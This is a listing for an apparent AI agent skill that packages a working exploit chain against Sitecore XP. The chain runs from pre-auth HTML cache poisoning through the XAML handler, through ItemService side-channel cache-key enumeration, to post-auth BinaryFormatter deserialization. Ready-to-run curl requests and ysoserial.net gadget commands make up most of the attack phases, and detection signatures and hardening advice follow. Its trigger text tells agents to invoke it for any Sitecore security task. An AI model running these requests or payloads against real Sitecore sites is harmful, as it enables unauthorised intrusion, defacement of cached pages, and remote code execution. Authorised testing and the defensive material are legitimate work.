# Sitecore Xp Pentest

> Security testing skill for Sitecore Experience Platform (XP) vulnerabilities including pre-auth HTML cache poisoning and post-auth RCE via BinaryFormatter deserialization. Use this skill whenever the user mentions Sitecore XP, Sitecore security testing, cache poisoning, XAML handler exploitation, or deserialization attacks against Sitecore. Trigger for any Sitecore vulnerability assessment, penetration testing, or security review tasks.

- Skill: `abelrguezr/sitecore-xp-pentest` (Agent Skill, multi-file: 6 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/sitecore-xp-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/sitecore-xp-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Web & Frontend
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/sitecore-xp-pentest

---


# Sitecore XP Security Testing

A comprehensive skill for testing Sitecore Experience Platform (XP) 10.4.1 and similar versions for critical vulnerabilities including pre-auth cache poisoning and post-auth RCE.

## When to Use This Skill

Use this skill when:
- Testing Sitecore XP installations for security vulnerabilities
- Investigating cache poisoning or deserialization issues in Sitecore
- Performing penetration testing on Sitecore-based applications
- Reviewing Sitecore security configurations
- Validating patches KB1003667 and KB1003734

## Vulnerability Overview

This skill covers a complete attack chain:
1. **Pre-auth**: XAML Ajax reflection → HtmlCache write (CVE-2025-53693)
2. **Enumeration**: Cache key discovery via ItemService side-channels (CVE-2025-53694)
3. **Post-auth**: BinaryFormatter deserialization → RCE (CVE-2025-53691)

## Prerequisites

- Target Sitecore XP 10.4.1 (or similar version)
- For post-auth tests: authenticated Content Editor credentials
- ysoserial.net or YSoNet for gadget generation
- HTTP client (curl, Burp, etc.)

## Phase 1: Pre-auth Cache Poisoning

### Test the XAML Handler

The pre-auth entrypoint is the XAML handler at `/-/xaml/Sitecore.Shell.Xaml.WebControl`.

**Quick test:**
```bash
# Check if XAML handler is accessible
curl -s -o /dev/null -w "%{http_code}" "https://target/-/xaml/Sitecore.Shell.Xaml.WebControl"
# 200 = vulnerable, 404/403 = blocked
```

### Poison the HtmlCache

Use the `AddToCache` method on the XmlControl to write arbitrary HTML:

```bash
# Basic cache poisoning test
curl -X POST "https://target/-/xaml/Sitecore.Shell.Xaml.WebControl" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d '__PARAMETERS=AddToCache("test-key","<html><body>POISONED</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1'
```

**Key parameters:**
- `__SOURCE`: ClientID of xmlcontrol:GlobalHeader (typically `ctl00_ctl00_ctl05_ctl03`)
- `__PARAMETERS`: Method call in format `Method("arg1","arg2")`
- `__ISEVENT=1`: Required for Ajax event processing

### Verify Cache Poisoning

```bash
# Check if cache was poisoned by requesting a page that uses the cache key
curl -s "https://target/" | grep -i "POISONED"
```

## Phase 2: Cache Key Enumeration

### Check ItemService Exposure

```bash
# Test if ItemService is exposed anonymously
curl -s "https://target/sitecore/api/ssc/item" | jq -r '.error?.message // "Exposed"'
# 404 with error body = exposed, 403 = blocked
```

### Enumerate Cacheable Items

```bash
# List layouts and cacheable components
curl -s "https://target/sitecore/api/ssc/item/search?term=layouts&fields=Path,Cacheable,VaryByDevice,VaryByLogin&pagesize=100" | jq '.Results[] | {path: .Path, cacheable: .Cacheable}'
```

### Side-channel Enumeration (CVE-2025-53694)

Even when Results are empty, TotalCount may leak information:

```bash
# Brute-force device groups via TotalCount
curl -s "https://target/sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&pagesize=100" | jq '.TotalCount'
# Incrementally narrow down: aa*, aa3*, etc.
```

### Construct Cache Keys

Cache keys follow this pattern:
```
{CachingID}_#lang:{LANG}_#login:{BOOL}_#dev:{DEVICE}_#qs:{PARAMS}_#index
```

**Example for a sublayout:**
```
/layouts/Sample+Sublayout.ascx_#lang:EN_#login:False_#dev:Desktop_#qs:_#index
```

## Phase 3: Post-auth RCE

### Prerequisites

- Valid Content Editor session cookie
- ysoserial.net for gadget generation

### Generate Deserialization Payload

```bash
# Generate BinaryFormatter gadget (requires ysoserial.net)
ysoserial.exe -o String -g ObjectStateModder -f BinaryFormatter -t "<script>alert('XSS')</script>" | base64 -w0
```

### Trigger the Deserialization Sink

The sink is in `convertToRuntimeHtml` pipeline via `FixHtml.aspx`:

```bash
# Step 1: Start Content Editor session
curl -s -c cookies.txt "https://target/sitecore/shell/Applications/Content%20Editor.aspx"

# Step 2: Load malicious HTML into EditHtml session
GADGET=$(ysoserial.exe -o String -g ObjectStateModder -f BinaryFormatter -t "<script>alert('RCE')</script>" | base64 -w0)

curl -X POST "https://target/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx" \
  -b cookies.txt \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "__PARAMETERS=edithtml:fix&ctl00\$ctl00\$ctl05\$Html=<html><iframe id='test' src='poc' value='poc'></iframe><test id='test_inner' value='${GADGET}'></test></html>"

# Step 3: Extract hdl from response and trigger FixHtml
# Response contains: {"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/...FixHtml.aspx?hdl=..."}
# Then request that URL to trigger deserialization
```

## Detection Signatures

### Pre-auth XAML Exploitation

Monitor for:
- Requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`
- `__PARAMETERS` containing `AddToCache(`
- Unusual `__SOURCE` values targeting XmlControl

### ItemService Probing

- Spikes in `/sitecore/api/ssc/item/search` with wildcard queries
- Large `TotalCount` with empty `Results` array
- Sequential queries narrowing down item groups

### Deserialization Attempts

- `EditHtml.aspx` POST followed by `FixHtml.aspx?hdl=` GET
- Large base64 strings in HTML fields
- Requests to `convertToRuntimeHtml` pipeline

## Hardening Recommendations

### Immediate Actions

1. **Apply patches**: KB1003667 and KB1003734 (June/July 2025)
2. **Disable pre-auth XAML handlers** in web.config:
   ```xml
   <!-- Comment out or remove -->
   <!-- <add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" /> -->
   ```
3. **Restrict ItemService** to authenticated roles only
4. **Remove BinaryFormatter** usage or add strict validation

### Monitoring

- Rate-limit `/-/xaml/` endpoints
- Alert on `AddToCache` in request parameters
- Monitor for cache key enumeration patterns
- Log all `convertToRuntimeHtml` pipeline invocations

### Access Control

- Enforce MFA for Content Editor users
- Apply least privilege to Sitecore accounts
- Review CSP headers to limit JS steering impact
- Lock down `/sitecore/api/ssc` to loopback or specific roles

## Scripts

See the `scripts/` directory for:
- `test-xaml-handler.sh` - Test XAML handler accessibility
- `enumerate-cache-keys.sh` - Enumerate cacheable items
- `generate-gadget.sh` - Generate deserialization payloads
- `full-chain-test.sh` - Complete attack chain (use with caution)

## References

- [watchTowr Labs – Cache Me If You Can](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [Sitecore KB1003734](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)

## Safety Notice

This skill is for authorized security testing only. Always obtain written permission before testing any Sitecore installation. Unauthorized access to computer systems is illegal.

